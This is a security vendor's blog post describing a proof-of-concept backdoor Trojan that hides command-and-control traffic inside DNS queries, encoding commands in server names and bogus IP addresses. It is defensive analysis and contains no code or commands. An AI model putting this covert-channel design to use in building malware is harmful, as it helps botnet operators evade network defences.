Over the years, IRC channels have been afavourite communications method between back doors and their commandcenters because they are so simple to set up and use. The IRC protocolis easy to use can also be easily configured to travel over anarbitrary TCP port so its not easy block IRC traffic based on wellknown port numbers. That said, IRC traffic generally has no placewithin corporate environments so that makes it a little easier to spotand control.
A recent proof of concept back door Trojan (Backdoor.Fonamebot)that we have examined here in Symantec has perhaps pointed the wayforward for the transmission of data between zombies and the botherder. What we have seen is a new kind of back door that sends andreceives its data through the DNS protocol.
You might ask yourself, "What is the big deal with thisdevelopment?" Well, as it turns out, DNS is oneof the most widely usedprotocols on the Internet today. Just about every time somebodyaccesses a Web page or sends an email, a DNS server is used somewherein the process. For example, when you enter in the addresswww.symantec.com into your Web browser, a number of actions take placebefore you see the Web page you requested. One of the first is thesending of a DNS query to the local DNS server to turn thathuman-friendly address into an IP address that is more suitable forcomputers to understand and process.
DNS queries can run recursively. If the local DNS server does notknow the name you are looking for, it can forward the request toanother DNS server, and so on until the appropriate answer is found. Ifall goes well, the DNS server will return an IP address to yourcomputer, which will then use it to send the actual HTTP request ontothe destination Web server. So at this point we’ve established that theDNS service is really important to the smooth running of the Internet,so important that if it was to be taken offline, it would virtuallybring the Internet to a halt. But what happens if the DNSinfrastructure that the Internet knows and trusts is tainted.
Let’s say that if we had a piece of malware that can hide all itscommunications amongst the legitimate DNS traffic that is so pervasiveon the Internet. Now, we potentially have a pretty nasty situationbecause we cannot simply just block DNS traffic based on the UDP/TCPport 53.
This could have security ramifications. For instance, one possibleattack scenario could involve an attacker setting up a malicious DNSserver to send and receive commands and data. The attacker would thenwait for a computer to become infected with one of the back doorTrojans, which would then attempt to establish a connection with acontroller. It does this by sending out DNS queries to its local DNSserver looking for a certain address (the address encodes a command inthe form of a server name that is only known by the DNS server owned bythe attacker). The local DNS server will not know the address and willstart to forward the query to other DNS servers in the chain ending upat the malicious domain. The malicious DNS server woud respond with amessage formatted within the confines of the DNS protocol. This messagewill either contain commands or data for the Trojan to process. Thecommands themselves are encoded within bogus IP addresses, so it is noteasy to tell whether the transmission is legitimate or malicious.
By using this method, the Trojan can communicate freely with thecontroller through the DNS protocol. Preventing this type of backchannel communication is difficult as you cannot simply block the useof DNS. This proof of concept was based on work presented by DanKaminsky back in 2004. We will likely see this type of back channelcommunication used in the future by botnet builders, perhaps it is timewe began to take a closer look at the DNS traffic.